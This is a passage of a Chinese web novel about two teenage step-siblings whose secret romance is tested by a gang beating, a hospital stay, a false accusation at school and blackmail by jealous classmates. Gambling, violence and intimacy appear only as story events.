不同的是,抱住就抱住了,没有再分开。 孔净踮起脚尖和他亲吻,细密暖热的触感,今天的陈端是温柔的陈端。 尽管时间紧迫,孔净还是接过头盔跨上机车,她伏低上半身紧紧抱住陈端的腰,晚风激烈,心跳鼓噪,街道和楼房在视域中变成斑斓色块,急速消退。 整个世界好像只剩下他们两个,那句“想和你私奔 奔向最遥远城镇”在耳边和心上反复吟唱。 赶在宿管阿姨关门的最后一分钟跑进宿舍楼,躺下之后仍感觉在风中。 孔净抱住被子就像抱住了某个人。 手机嗡鸣声把孔净的思绪拉回来。 【嗯,五分钟。】 陈端回复。 屋里卫生堪忧,尽管孔净前天才回来打扫过一次。 她一进门就打开窗子通风,扫帚扫过床前,孔大勇双腿和拐杖杵在原地,一点没让的意思。 孔净绕过他,拐杖底端伸过来按住扫帚,孔大勇问:“你妈妈真的什么都没留?” 他还是不死心,结发夫妻二十多年,总觉得李贤梅不至于把事情做这么绝。 孔净扯了下扫帚,拐杖失去平衡在地板上磨出一声锐响。 “没有。” 孔大勇胸口剧烈起伏,他是地|雷型人格,随便一个理由就爆炸。 陈端不在,孔净以为他又要借此发挥一番。 孔大勇把拐杖往床边一扔,从兜里摸出烟盒,深吸慢吐,完全不顾孔净刚打扫过,烟灰和烟蒂随意落在脚边。 孔净正要去阳台绞毛巾擦灰尘,孔大勇伸出夹烟的粗短指头把她叫住,“陈端……跟没跟你说过他家里的事?” “什么家?”孔净都是把孔大勇的话左耳朵进右耳多出,过了两秒才反应出这话什么意思。 “他爸妈不都去世了,家里亲戚也都不在了吗?”孔净盯着孔大勇的眼睛。 孔大勇“嘿”一声,居然笑了下,咕哝着,“老子真的是走投无路了,怪也怪老子养了他这么多年,连声爸都不肯喊。格老子的,看最近的表现,老子都怕哪天在床上睡得好好的,被他用枕头闷死……” 前言不搭后语。 “爸!你胡说什么?” 孔净抬高音量,她怀疑孔大勇有双相和被害妄想症。 换在陈端角度,这件事情的最优解是直接撒手不管。 又不是亲爸,这些年说是养了他其实也就是给了口饭吃,还是饥一顿饱一顿的,孔大勇把恩情说得比天大,其中寥寥温情早就被他那一钢管敲碎。 “在说什么?” 钥匙插进孔洞,陈端推门进来,听见孔净的声音,他斜眼朝坐在床上的人看去。 高大身影走进狭小的出租屋,天生带着压迫感。 孔大勇警惕地回视一眼,也不笑了,挪了下屁股,转向阳台方向。 陈端带了熟食和盒饭回来,孔净很自然地接过,把熟食倒出来装在盘子里。 为了方便孔大勇,简易餐桌就架在床前,孔大勇低头大口扒饭,一句话不吭,老实得不行。 孔净不合时宜地想到,恶人自有坏人磨。 因为赶着回学校,盒饭只吃了一半。 “我送你。”陈端跟着起身。 “不用,我骑车回来的。”孔净看了眼狼藉的餐桌和满嘴流油正在啃猪脚的孔大勇。 陈端说,“我过会回来收。” 孔大勇听说他待会还回来,不免嘴角一抽。 陈端察觉他微表情,“孔叔你别怕啊,我又不会吃了你。” 孔净瞥去一眼,陈端无所谓地笑笑。 两人前后出门,陈端很娴熟地从后面牵住孔净的手,孔净不用回头仅凭触觉就能辨知他指节骨相上的优越。 陈端掌心拢住她整只手,两根长指松开又收紧,在她手背上轻轻点着。 一会儿重一会儿轻。 不算越界的动作,却被他做出几分蔷薇色气。 算起来,他们两个多月没做过。 谁也没提这茬,但身体自然起反应。 没接触倒好,一旦碰触就算是简简单单的牵手,热度传递,脉搏跳动,年轻身体自具吸引力的同时也极易被引诱。 五指被陈端一根一根轻轻掰开,柔软掌心被强硬塞进一个东西,孔净感觉到那东西的形状,面色一红,“我要回学校。” “知道你要回学校,你以为是什么?” 身后的人低笑出声。 孔净被他笑得连脖子也有点红,从他掌中抽出手,借着楼道灯看清被他放在手心里的是银行卡,而非其他。 hello kitty的联名银行卡,吵架最凶的那段时间孔净把卡连带着里面的钱都还给了他,现在又被他塞回来。 “我又存了些进去。别担心,你只管好好专注脚下的路。” 陈端话说得平淡,却是为孔净托底的意思。 可明明她才是姐姐。 “不用,我——” “那就当放你那儿帮我存着。”陈端截断孔净,两手插进牛仔裤袋,态度一霎冷然。 经济方面也是引发他们争执的原因之一。 按照孔净目前手里的积蓄,他们完全可以安然度过高中剩下的两个月,然后再去想以后的事。陈端却等不及,他在这方面天生比孔净更没安全感,更重要的是他不想孔净为经济发愁。 他自己没有安全感,却想给孔净安全感。 但他不知道的是,十八岁的年纪放着学业不完成,终日混迹网吧打比赛赢奖金,这种饮鸩止渴的做法更令孔净焦灼。 说是说不通的,他们都有自己的立场和坚持。 “你自己存吧,我怕丢了。” 孔净转身把卡塞进陈端T恤胸口上的袋子,没等他说话,加快脚步下楼。 刚从楼道口跑出去就听到一道流里流气的口哨声,李哲反身跨坐在陈端的机车上,黄毛站在一边吸了吸鼻子,听李哲笑着和孔净打招呼,“姐姐,最近学习怎么样?” 孔净脸色冷沉。 陈端随后下来,李哲和黄毛都收起那副流氓样,没再对孔净调笑了。 就是这样,如果抛开现实不谈,孔净和陈端的关系其实很融洽,背着人牵手、接吻,就像任何热恋期的少年情侣一样。 可人毕竟是社会性的物理动物,仅凭那一点唯心的年少欲望无法存活。 他们一时热一时冷,一时亲密一时疏离,在互相舔舐和对抗中暂时性求同存异。 五月,气温一路飙升,超过往年的最高值,恍然进入盛夏的错觉。 三模考试结束,孔净私下对了答案,总分要比她预估还要高一些。陈端破天荒地也来了学校,要不是清安高中只是普高,管理要比其他学校松一些,就凭他这学期的出勤率恐怕早就被劝退了。 不过劝不劝退,头疼的永远是老师。 现役校草再度出现,学生们乐见其成。 机车骑不进学校,他也不是爱出风头的人,只是黑色短T配藏蓝牛仔裤的利落身影一出现在校园里,立即成为焦点。 经过一个冬天,他的皮肤更白,左臂上的链状伤疤显得更为突出,白壁微瑕,行走的暴烈美学。 他心情很好的样子,来7班门口找孔净。 最后一科考完,到晚自习上课还有很长一段时间,孔净以为他是要载她回去看孔大勇。 “不看他,就我们俩。” 陈端问孔净想吃什么,随便哪个餐厅。 眉宇飞扬,意气风发。 孔净不由得问:“有什么值得庆祝的事吗?” 陈端故意吊人胃口,说吃晚饭后买个她喜欢的芭乐冰淇淋蛋糕再解开谜底。 孔净今天心情本来就不错,一时被他带得也露出舒展笑靥。 最后去了学校对面那家经常光顾的餐馆。 点了他们各自喜欢的煲仔饭和三鲜米线,陈端有些嫌弃孔净的想象力,“说了让你挑餐厅。” 孔净好笑,“餐馆和餐厅就差一个字。” 现在的状况哪儿能准许他们挑剔。 陈端扬眉笑笑,正要说什么,门口忽然传来刺耳的刹车声。 孔净面对着,因此立刻看见几辆机车气势汹汹地在餐馆门口停下,每辆车上都坐着2至3个人,为首的光头纹身男率先下车,一脚踢翻一张空桌。 孔净和他对视一眼,对方并未像以前那样笑嘻嘻地叫她姐姐,眼里一股修理叛徒的狠劲。 孔净脱口而出,“李哲——” 一切发生的很快,孔净甚至没来得及完全提醒陈端。 七八个人快速涌进餐馆,围拢在他们这桌旁,以李哲为首、黄毛打前锋,齐齐向陈端动起手来。 桌子掀翻,椅子踹烂,餐具、调料罐洒了一地。 陈端打架很凶,但再凶也抵不过一群人的围殴。旁边都是清安高中的学生,几个男生想冲上来帮忙,可李哲他们社会青年亡命之徒的气势实在太骇人,男生们束手束脚,只敢在一边傻站着。 暴动发生之初,陈端就一把将孔净推向了后厨方向,李哲的拳头落在他身上的前一秒,他满身戾气地一脚狠踹在他腹部,“除非你今天打死我,否则你要是敢动她一根手指头,我追你到死。” 李哲被身后的人扶住,忍痛捂住腹部,他往地上啐了一口,“行,不动你姐。老子今天就找你!敢骗我?操!” 孔净被推开之后,第一反应就是再冲上去。 就像小学那次一样,她知道自己根本经不起别人一拳,但就是义无反顾。 可是餐馆老板和帮厨死死拉住她,“消遭谋(疯女孩),赶着去找死啊?!” 孔净耳中一阵嗡鸣,所有的辱骂和拳打脚踢声都变成尖针,狠狠刺向她的听觉神经。 陈端到最后只是象征性地反抗,仿佛任由他们发泄一样。 学校保安亭就在街对面,一同前来的还有教导主任。 “敢骗我你是第一个!今天只是开场,给我等着!” 有人在外面望风,赶在被抓之前,李哲带领一伙人跨上机车扬长而去。 孔净报了警也打了救护车,陈端从一片碎碗饭渣中撑起来靠在墙壁上,居然呼出一口气笑了下。 笑声刚逸出就被咳嗽代替,孔净跪在他面前两手撑住他的肩膀,眼睛被水雾挡住,他的笑在残污中依旧醒目。 孔净听见他说:“孔叔的债已经了了,这下你没有后顾之忧了,放心飞……”《 》 60-66 第61章 因为我想 孔净曾经听Lily说过游戏博|彩, 就跟足球、篮球这类赛事一样,有人坐庄买哪个队或者个人赢。由于国内法律限制,内陆的博|彩网站不涉及现金提取,奖品都是各种装备和皮肤。 但设在外围也就是合法赌博地区的□□则是彻底的真金白银, 日交易量之大, 超出正常人认为的天文数字。 陈端本来只是游戏场上的一名明星电竞手, 但就在绝大多数人买他赢的情况下,他私下用小号买了自己输。 结果当然是输。但也因此在赌局里赢了很大一笔钱。 李哲有人脉,带着陈端入场玩的同时在他身上吸了不少血, 但他自问给陈端的报酬颇为丰厚。 却没想到最终被陈端摆了一局。 毕竟是公然在学校门口动手,李哲那伙人气势汹汹实际上没敢打要害部位, 但即便如此,陈端也有几处轻微骨裂, 挫伤淤青不计其数。 陈端自己倒觉得没什么, 又换上久违的蓝白病号服, 优哉游哉地躺床上问孔净能不能削个苹果给他。 他是真的感到一块大石终于落了地,至于会对自己造成什么后果完全不在他考虑范围。 “不是才喝完粥?” 孔净皱着眉,心里有气但又心疼陈端这副样子,脸上表情很矛盾。 陈端脸上一点没伤, 笑容清朗舒展, “没吃饱。” 语气挺平常, 但他双眼直落落地落在孔净身上,于是就有了令人遐想的歧义。 孔净呼吸重了几分,要不是因为他现在是病号,她一定会抬腿踢他两下。 苹果削好放到他手里,孔净看了眼时间,“晚点再来看你。” 今天是周六, 上完下午的课就放假了。 “不来也行。”陈端咬一口苹果,冷白色的腮帮子一侧鼓起来,他含糊问道,“对了,三模成绩出来了吗?你考得怎么样?” “你一个学渣还问我考怎样。”孔净的拳头是捏了又捏,“好好待着,不许乱跑。” 从病房出来,不经意扫了眼走廊,到了楼下也往四周看了看。 孔净现在有点草木皆兵,害怕李哲那帮人没那么容易罢休。 但应该没有猖獗到敢来医院撒野。 日头有些大,白花花地晃人眼,刚从空调房出来,骤然被热烈空气笼罩,脑子会有几秒的宕机。 孔净心事重重地往车棚走,路上接到孔大勇电话,他自己拄着拐却说要来医院照看陈端,问住哪个科几号床。 其中确有关心的成分,但孔净有点怀疑孔大勇是农奴翻身把歌唱,前些时间一直被陈端压制,现在看见陈端住院了就想着找回点爸爸的尊严。 “你好好歇着吧。他自己可以行动,不用人看。” 关于孔大勇的债已经清了事,孔净一点口风没漏,她怕孔大勇不长记性,一激动又开始作妖。 一下午的时间变得很漫长,孔净有些分神,担心陈端不好好待着。 像有心电感应,课间收到陈端发来的信息,一张躺在床上的自拍。脸没入镜,半边肩膀占据整个画面,领口边缘露出一点锁骨,线条十分凌厉。 孔净盯着照片看了好一会儿,然后敲了个字发过去,【乖。】 陈端:【嗯。】 他从来不发表情包,但这个字莫名带一点臭屁。 孔净牵起嘴角,有时候是真的拿他没办法,就像他也拿她没办法。 下午放学,先骑车回出租屋看了眼孔大勇,然后才去医院。 天已经快全黑了,一点微弱的橘红光线从窗户漫进来,三人病房里包括陈端在内住了两个病号,老阿公躺在挨门的病床上正在响亮地打呼噜。听见脚步声,陈端转过脸,冷清面孔没来得及转换表情,一双眼睛既静又沉。 “还挺快。”他随即弯唇,春风一度的笑意,仿佛刚才顶着这副俊美皮囊坐在窗边的是别人。 怕吵醒老阿公,孔净轻手轻脚把带来的煲汤放在小桌板上,他看了眼保温桶里的猪蹄,笑问:“这就是传说中的以形补形?” “你也知道自己是猪。” 孔净把餐具递给他。 陈端啧一声,“手没劲,你喂我?” 他坐在床上,孔净站着,因此他需要仰面才能和孔净对视。 窗外的橘光就剩一线了,太阳已经落下去,月亮还没升起来,昏冥静谧的蓝色时刻。 孔净走近两步,站位在他随意敞开的双腿之间,手里的餐具落在翻开的保温盖上,正如她落在他唇上的吻一样岑寂无声。 很轻很轻,唇瓣抵压,干燥又柔软。 陈端怔愣一秒,随即反客为主,但也不似从前那般具有攻击性,他似乎是在试探,撬开孔净的唇缝同她勾缠,整个过程他都直视着孔净的眼睛。 光线很暗了,这么近的距离,反而看不清全貌,只能是管中窥豹。 旁边传来一道咳嗽声,鼾声中断两秒,但因为中间的挡帘是拉上的,所以谁都没有撤退。 面贴面,鼻尖抵鼻尖,唇齿缠绵。 直到“啪”的一声,灯光大亮,护士拖着护理车进来,“林XX,怎么还在睡?起来打针了!” 老阿公迷迷糊糊地应了声,紧接着他起身的声音。 “……陈端?休息了?” 护士一边弯腰拍着老阿公的胳膊寻找血管,一边转过头朝这边望了眼。 “没有,正准备吃饭。” 孔净应了声,轻巧绕过床尾将挡帘拉开一半。 “噢,你是他姐姐吧?今天晚上还有一瓶消炎药,这样,等他吃完了你按下铃,我等会过来给他挂上。” “好。” 孔净原路绕回来,察觉到有道视线一直追随着自己,她不明所以,“怎么了?” 陈端轻轻扬了下眉,发现孔净强装出来的若无其事并不是完全没有破绽,比如烧红的耳际和盈满水迹的唇面。 “很甜。” 他没头没脑一句。 孔净剜了他一眼。 陈端笑起来,当着护士和老阿公的面打哑谜,“刚才是奖励?” 孔净去拿苹果的动作顿了下,“不是。” 没理陈端接下来的微表情变化,她转身去水房了。 水流沁凉,像刚从深井里抽上来的,一颗苹果被她翻来覆去地洗,本就瑰丽的色泽变得更加诱人。 再回病房,护士和老阿公都不见了,陈端还是背对着坐在床边,大一码的病号服衬得他背影几分削薄。 天麻猪脚汤也没动,被冷气吹得凝了一层薄油,有点腻。 孔净把苹果放一边,想找个可以进微波炉的容器拿去护士站热一下,忽然听见陈端冷淡嗓音,“你不会以为我做这些是为了拴住你吧?” 孔净抬眼,在他镜黑双眸中看见自己模糊倒影。 “没人能拴住我。”她慢慢站直,居高临下地俯视他,“我是自由的,你也是。” 陈端呵笑一声,那种嘲讽的神色很刺目。 孔净嗓音平稳,“所以不存在什么奖励不奖励,以后都不会有了。” “那你为什么贴上来?”陈端一手不便,另一手撑在身后,冷戾的下巴微微抬起,并未因为体|位的原因而消减气场。 孔净皱了下眉,她不喜欢贴这个字。 但她不要再和他不明不白地吵了,“因为我想吻你,很难理解吗?” 陈端一愣,表情有些困惑。 孔净懒得理他。 十八岁的男生有时候和八岁也差不了多少,一样的执拗,一样的不开窍。 晚上,孔净躺在中间空着的那张病床上,两边帘子都拉上,把带来的小夜灯开着,慢慢翻阅最后整理出来的极简版错题集。 病房里很安静,老阿公的呼噜声再次响起,右手边,隔着一道单薄挡帘,陈端几次抬起手又放下。 孔净目不斜视,嘴角却暗自弯了又弯。 周日上午,18班的几个男生过来探病,大家围着陈端嘻嘻哈哈说着话,格外热闹。 只是中途忽然来了一个不速之客,“这么多人在啊,好像我来得有些不是时候。” 孟书宇提着果篮并抱着一束花,笑容温和地走进来。 男生们天生自来熟,又因为本来就对孟书宇这个上一届优秀学长如雷贯耳,因此都纷纷笑着和他打招呼。 孔净有些惊讶,“学长你怎么会来?” “家里有点事回来处理,在小区里碰见林语珂听她说起陈端在住院,刚好有时间就过来看看。”孟书宇把果篮和鲜花递过来。 陈端倚在床头,懒洋洋来一句,“不好意思,我花粉过敏。” 孟书宇笑着说,“果篮给你,花是给你姐的。” 孔净把果篮放一边,顺着陈端那句“花粉过敏”把花抱在怀里,跟孟书宇说:“那我们先出去吧。” 孔净走在孟书宇后面,感觉到有道冰冷视线钉在自己背上。 她坦然侧过身把门虚掩上。 孔净请孟书宇去街对面的甜品店坐了会,孟书宇没问陈端是怎么伤的,气氛轻松地聊聊各自现状。 孟书宇大概有做心理咨询师的潜质,不乏耐心地为孔净加油鼓气,听起来一点也不刻意。 聊了没一会儿快到饭点,孔净请他吃了顿简餐,孟书宇提到晚点过来送她去学校。 他状似不经意的一句,怕孔净多想,解释说:“正好去清安高中有点事。” “好啊,谢谢学长。” 孔净答应得很爽快,令孟书宇有些意外。 和孟书宇约定好时间后就在医院门口分别,孔净去食堂打包一份病号饭拎着回病房。 18班的男生们都散了,陈端躺在床上,一只手臂搭在眉骨上,听见声音倏地掀起眼皮。 迎着他微凉的目光,孔净镇定自若地帮他把病号饭摆好。 “你们烛光午餐,换到我就吃这个?”陈端把不满都写脸上。 孔净看他,“是呢。” “……” “快吃吧,等会凉了。”孔净想起他昨天的要求,“要我喂你吗?” 陈端坐起身,“打一巴掌给颗甜枣?” “对啊。” 孔净还真的拿起一次性筷子喂他,但准头不怎么行,直冲着他鼻孔去。 陈端微微眯起眼睛,孔净笑了下,把筷子尖往下移到他嘴边。 是正儿八经的喂饭架势。 陈端从来没受过这种待遇,不说不适应,效率未免也太低了,于是伸手把筷子抽走了。 想到什么,“花呢?” “送给护士姐姐,她放办公室了。” “不是专门送你的?” “你不是花粉过敏?”孔净奇道,“又不过敏了?那我再拿回来。” 陈端空着的一手伸出去拦住孔净,“坐着。” “哦。” 孔净安静翻开书,余光瞥见坐在床上的少年眼角似有笑意。 这么多年了,是真的很好哄。 孔净没跟陈端说孟书宇要来送自己去学校的事,但镇医院就那么小,他往窗口一站稍微抬抬眼就看见她弯腰坐进轿车的身影。 路上没收到他发的任何讯息,有些反常。 孔净便主动发去一条,【上完自习再来看你。】 陈端没回。 孔净低头盯着屏幕太久,孟书宇不免问一句,“怎么了?” 孔净摇头,将手机放到一边。 “有备选的心仪学校吗?听林语珂说你这次三模考得很好,比我去年的高考分数还多十多分,不出意外的话你的名字今年会被挂在校门口用来宣传招生。”孟书宇说。 “提前开香槟一般都没好下场,还是先稳一稳。” 孟书宇笑了,“上海很多好学校,如果你肯来我们学校继续和我当校友就再好不过了。” 属于明示了。 孔净在后视镜中和他对视一眼,没把话说死,“后边填志愿的时候再看看。” 孟书宇把车开到校门口,又像上回那样亲自下来帮孔净开车门。 “谢谢。” 孔净并未和他有任何肢体上的接触,但这幕场景已足够吸睛。 林语珂都已经走进校门了,听见身边有人在热烈议论,转头便看见孔净从白色宝马下来,孟书宇长相温润端正,两人站在一起格外有高知学霸情侣的气氛。 她故意站在原地等了一会儿,“其实我有点怀疑你在利用孟学长。” 孔净从她身侧经过,“利用他什么?” 林语珂跟上脚步和她一起穿过浓荫遮蔽的校道,她一直转头看着孔净的侧颜,恬静,温驯,根本不像会做出哪种疯狂事情的人。 但有句俗语叫人不可貌相,不是吗? “……你、和陈端已经越界了,对吗?” 第62章 嫁祸 孔净记得, 林语珂上回的问句是,“你和陈端是真的,对吗?” 这回她把“真的”换成了“越界”,后者代表什么昭然若揭。 林语珂目光炯炯, 仍有发现惊天秘密的惊骇, 相比之下, 孔净显得格外放松,完全没有被人揭穿秘密的惊慌。 “你有证据吗?”她问。 林语珂有些恍然,但随即紧咬着孔净, “你不应该矢口否认吗?” 她完全被自己的猜想震惊了,过往孔净和陈端相处的片段在脑海中闪现, 像是一幕幕大型伦理罪证。 “……你太可怕了。”林语珂喃喃。 “你一个人都把话说完了。”孔净牵唇笑笑。 “你不怕我告诉老师?你和陈端都会被开除!他反正已经烂掉,考不考都无所谓, 但是你不一样, 年级第一的尖子生, 最在乎的就是成绩,如果你连高考的资格都没有……” “你可以试试。”孔净心想终于是明牌了,虽然被威胁,但总比以前那样戴着好朋友的面具各种试探来得痛快。 “你真的不怕?”林语珂仔细观察孔净的表情, 完美的好学生形象, 居然没有露出一丝破绽。 孔净也转头看她, 想到别的事,“是因为嫉妒还是因为你喜欢孟书宇?” “谁跟你说我喜欢孟学长!”林语珂脸色一白,好像被戳中痛处。 “好像我从来没有做过对不起你的事情吧。”孔净之前想过林语珂为什么会处处针对,但现在觉得因为什么都不重要了,反正不是同路人,反正她也伤不到自己。 成长的必修课之一, 就算真心以对,并不会每次都换来赤诚相待。 无论身处的环境是大是小,虚伪,坏蛋,看客……总有人各司其职。 “不过我要是你的话,喜欢就会去争取,想要得到老师的赞美就努力学习,一定不会企图靠别人设施获得。戴望雅给你的进口文具、手链、过季的奢牌衣服……真的有那么好吗?” 林语珂紧紧抿住嘴巴,过了好几秒才重新追上来,“……你怎么知道?!” “我又不蠢。那天晚上你故意引我去校外围墙看戴望雅和陈端的亲密戏,其实你演得一点也不好,表情一惊一乍,画外音配得也很生硬。”孔净平静叙述。 林语珂受不了被这样直白地点出,“你早看出来了,为什么到现在才说?!” “可能是因为之前我对你还存有一点幻想吧。”孔净看着她,“不过现在没有了。” 孔净之前理想主义地认为好朋友偶尔有分歧很正常,牙齿和舌头有时都会打架呢,就像她曾经和阿禾也闹过一阵别扭,后来不是也好了。 但事实教会孔净,林语珂不是阿禾,一再退让只会让她得寸进尺。 “你有什么资格教训我?我起码没有烂赌鬼爸爸和不清不白的弟弟!你是真的不怕……” 林语珂恼羞成怒,孔净戴上耳机,在前面的岔道和她分开,直接拐去宿舍。 和舍管阿姨请了假,自习下课后去医院。 陈端态度不说冷但也算不上热,时间挺晚了,老阿公的鼾声准时响起,他开着孔净的那盏台灯,倚在床头勾勾画画。 柠檬色光线晕开,他的脸一半被照亮,皓白似新雪,另一半隐匿在阴影里,如巍峨夜峰。 孔净扫过他架在膝上的素描本,只剩最后几页了。 “考个艺术院校好像也不错。” 旧事重提,以前困囿于现实环境,连谈理想都觉得奢靡。 现在再想想,办法总比困难多,十几岁的年纪不就是要去征服星辰大海,少年意气不死,热血难凉。 陈端笔尖微顿,“说白了,你还是喜欢名门正派。” “所以你是邪门歪道?”孔净有些乏,打了个呵欠。 陈端抬眼,“你承认了。” 他面色冷淡,没有先前那种自以为被耍的恼怒,很轻的,蒙上一层落寞。 但他很快弯唇笑了下,“就这样吧,过一天是一天,管你喜欢什么。” 说完,收起素描本和铅笔,顺着床板滑下,仰躺着。 孔净帮他把被子盖上,没有预兆地俯身在他额头轻吻一下。 陈端倏忽睁开眼睛,眼睫相抵的距离,他嗓音嘲讽,“真有你的,白天把孟书宇哄得团团转,晚上又来招惹我。” “你不让我招惹吗?” 孔净来之前回宿舍洗漱过,甜橙味的牙膏在口腔里留有余韵,唇息顺着他挺立的鼻峰若即若离地往下,还未抵达陈端的唇就被他抬手按住后背压下来,四片唇瓣撞上。 灯光晕开一小片天地,他们无声又炽烈地亲吻。 正如陈端所说的“过一天是一天”,他不再找孔净要答案,只真真切切地享受当下。 未来会怎么样,他不知道,唯一能确定的是过去、现在,他都拥有过和拥有着她。 陈端住了快五天的院,要不是孔净和医生都拦着,他在医院连一天都待不了。 孔净还想让他再多住几天,陈端晃了晃脖子,调侃道:“找医院签个合同,把这间房租下来好了。” 孔净其实是担心出去后又被李哲那伙人找麻烦。 “总不能躲一辈子。”陈端笑了下,无所顾忌的姿态。 由于医生也说陈端没什么大碍,孔净只好给他办出院。 从医院出来,孔净就看着他一起回学校。 陈端刚在校门口出现,学生们便投来异样眼光,连保安都嘴角抽了抽,估计嫌他是个惹事精。他不在的时间,学校里风平浪静,他一出现,保安大叔们几次跑断腿。 陈端恍然不觉周遭的打量,既不故意张狂,也不面有愧色,蓝白校服穿在身上,清清淡淡、安安静静,不知道还以为他是内外兼修的好学生。 孔净不让陈端出校门,三餐都在学校食堂解决。 只是让他安分守己整天都待在教室上课是不可能的,刚回来就带着18班的一群男生在篮球场上疯跑。 教导主任眉心拧成结,隔天就把陈端叫走了。 孔净是在大课间才被同学传话,让去一趟校长办公室。 办公室很宽敞,围着沙发一圈都是人。 坐在正中的是校长和一个儒商样的中年男人,孔净一进来,这个男人就隔着金丝眼镜投来目光,不带任何情绪的打量,却莫名让人感觉不适。 一道身影忽然横在孔净面前,打断那个男人的视线。 “要开除就开除,找她来干什么。”陈端眯起眼睛,187的身高,带着戾气直直回视过去。 “你家长电话不接,孔净是你姐姐,只能让她跑一趟。”教导主任坐在侧边的沙发上,颇为不悦地横了陈端一眼。 他转过头,笑着对儒商男人道:“戴先生,您看马上就要高考了,这个时候做开除处理是不是有点过了。陈端皮是皮了点,但他在学校女生缘一直很好,从来没听说他跟哪个女生密切来往,或许这件事另有隐情……” “主任的意思是我女儿撒谎,自导自演一出戏故意嫁祸陈端?” 戴明抬了下眼镜,转向站在沙发后面的戴望雅,视线掠过她旁边的李哲时明显皱了一下眉。 上回打架李哲也受了点伤,光秃秃的额头上斜着一个创口贴,他站没站相,并不理会戴明的轻视,口齿流畅地配合戴望雅把那天的事情说了一遍。 “证据呢?你现在说的,跟你那天晚上被抓时说的可完全不一样。” 没想到教导主任平时严厉,这个时候却偏护着陈端。 “没证据。”李哲耸耸肩,“他狡猾得很,没打电话也没发信息,是当面跟我说的。” 教导主任正要再开口,李哲忽然又说,“对了,其实他让我强j她来着。但是吧我做人比较有良心,再说这种事犯法……” 戴望雅猛地转头,和李哲目光一对,她指尖紧紧抓着沙发靠背,瞬间掉下泪来。 “爸爸,老师,校长,你们都听见了吧?陈端要害我!你们还想包庇他吗?!” “我这么跟你说的?”陈端目光盯住李哲,似有绕过去的迹象。 孔净从后面拉住他,“冷静一点。” 陈端转头,他以为会在孔净眼中看到愤怒、质疑种种负面情绪,但奇异的是,孔净对他笑了下。 她说,“没事,让他说吧。” 李哲被这句刺到,“什么意思?姐姐你是觉得我在编谎话吗?你弟弟什么样的人你还不清楚?我们在一起混这么久,赌博、吸——” 他一根食指横在鼻子下面用力吸了下,歪嘴笑着隐喻着什么,“你们都懂的,说多了我要进局子。不过没关系啊,要进大家一起进,我起码算个污点证人。” 话音落地,原本还想为陈端说几句话的教导主任脸色骤然大变,校长铁青着脸,“行了,就这样吧,事情我们了解了,你们先出去。” 孔净一直抓着陈端的左臂,办公室里冷气很足,其上凸起的疤痕却被她掌心捂热,微微的湿意。 他们走出办公室,李哲晃晃悠悠地跟在后面,掏出一根烟点上,“你不会以为光是开除,我们俩的事也跟着了了吧?” 陈端轻嗤一声,转头对上李哲阴鸷目光,“不怕死,你就来。” “陈端。”孔净低喝一声,抓着他小臂指尖几乎嵌进皮肤,她拉着他,“走了。” 上课铃响了,孔净没回教室。 甩掉李哲,她右手像是焊在了陈端胳膊上,一路埋头走去食堂。 这个点食堂已经传来饭香,窗口都紧闭着,只有小卖店是开着的。 “我饿了,吃个雪糕。” 孔净前言不搭后语,哪有人用雪糕填饱肚子这一说。 镇定停留在表层,深处的情绪剧烈波动着。 但并不是慌张。 早在那次在网吧遇见戴望雅和李哲在一起,孔净也许就预料到了。 可预料和真的发生还是有区别。 陈端蹙眉看着她,“别怕,他不敢动你。” “为什么不敢?”孔净忽然就有些生气,气陈端到这时候了,首先考虑的人竟然不是自己,而是她。 由于孔净用的是反问句,陈端误以为孔净是真的在担心被李哲影响后面的考试。 他周身散发一股狠劲,“说了不敢就是不敢。” 既然忌惮李哲再掀起风浪,不如先动手解决掉他。 第63章 逼问 “你想做什么?”孔净紧紧盯着陈端, “你还想做些什么?还嫌教训不够吗?!” 陈端看出孔净是真的动怒了,他皱着眉头退让一步,“得到什么教训都是我活该,和你没关系。你只管好好——” “怎么没关系?” 孔净扬手, 这一巴掌并未打在实处, 指尖扫过陈端的下颌, 是想让他把自己说的话听进去。 “以后做事情不要再一厢情愿,如果你打着为我的旗号起码问问我的意见!你把自己搭进去了,你觉得我能‘只管好好考试, 只管往高处飞’吗?陈端,你没有权利把‘无动于衷’这四字安在我头上!” 陈端垂眸看着孔净并未言语, 过了几秒,他勾了勾孔净用来打他的右手指尖, 扬唇问说:“不是要吃雪糕?买给你。” “不吃了, 我回教室。” 孔净不想继续看他欲盖弥彰的笑意。 陈端自顾进了小卖部, 看样子是在挑选东西,却久久站在货架前没动静。 隔着一层玻璃墙,孔净瞥见他冷削侧影,和刚才故意装出来的谈笑风生判若两人。 她加快脚步往教学楼那边走, 本想一鼓作气爬上顶楼校长办公室, 有道身影却斜靠在楼道栏杆处, 看见她过来,非常散漫地抬手挥了下,“姐姐,就知道你不死心肯定还会回来。” 戴望雅笑容明艳,刚才在办公室里当着师长们落下的眼泪早就干了。 “不觉得恶心吗?谁是你姐姐。”孔净想绕过她。 戴望雅伸出一条腿横在半空中挡住路,“我赢了。” 她横起的腿落下来, 鞋尖点地,仍旧不肯让开,“林语珂跟我说了一些有趣的事情,难怪啊。你真会骗人。比陈端坏多了。” “你在说什么?”孔净一点不露怯,双方就这么打着哑谜。 “你不怕我告诉老师吗?只是开除陈端并不能让我完全解气。”戴望雅双臂横在身前。 “要告诉你早告诉了。”孔净淡笑一下,“就算你说了,老师也只会以为你在瞎编。别忘了,我是好学生,我不会做坏事。” 戴望雅收起笑脸,“这样吗?那给你看点你没看过的。” 她点开手机把屏幕对向孔净。 游戏界面的聊天对话框,满屏私房照,蕾丝、纱裙、绑带之类的元素大量出现,少女身材丰盈,在这些少之又少的面料点缀下万分引人遐想。 孔净被这些照片惊住,戴望雅比她表现出来的还要大胆和愚蠢。 “虽然他从来没有回过,但你猜他有没有看过呢?又或者有没有边看这些照片边做些什么呢?一个能对姐姐下手的人跟猪啊狗啊有什么区别。不要说你们没有血缘关系,你们从一开始难道不是以姐弟的名义相处的吗?血缘不重要,重要的是你们在姐弟的实质上越了界。” 戴望雅把手机在孔净面前左右晃动,手机背后是她充满恶意的笑容。 孔净抿住唇,听见有脚步声从楼上传来,抬眼就看见戴着金丝眼镜的中年儒商从台阶上下来。 戴望雅瞬间熄屏,将手机放回包里,转过身很乖觉地喊了声,“爸爸,可以走了吗?” “戴先生,我可以和您说几句话吗?”孔净仰头望向中年儒商。 戴望雅立即紧张起来,刚才给孔净展示照片只是意气使然,纯粹为了在她和陈端之间插进一根刺,如果孔净告诉戴明的话……她会死很惨。 “爸,该回去了吧。下午的飞机回上海。”她脱口而出。 孔净认为戴望雅愚蠢就在于这点,明知道照片会被当成把柄,还不管不顾地展示出来。 